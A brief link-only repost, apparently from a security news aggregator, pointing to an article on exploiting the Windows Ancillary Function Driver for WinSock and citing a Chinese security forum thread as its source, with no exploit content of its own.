https://securityintelligence.com/posts/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock/


文章来源: https://bbs.pediy.com/thread-277016.htm
如有侵权请联系:admin#unsafe.sh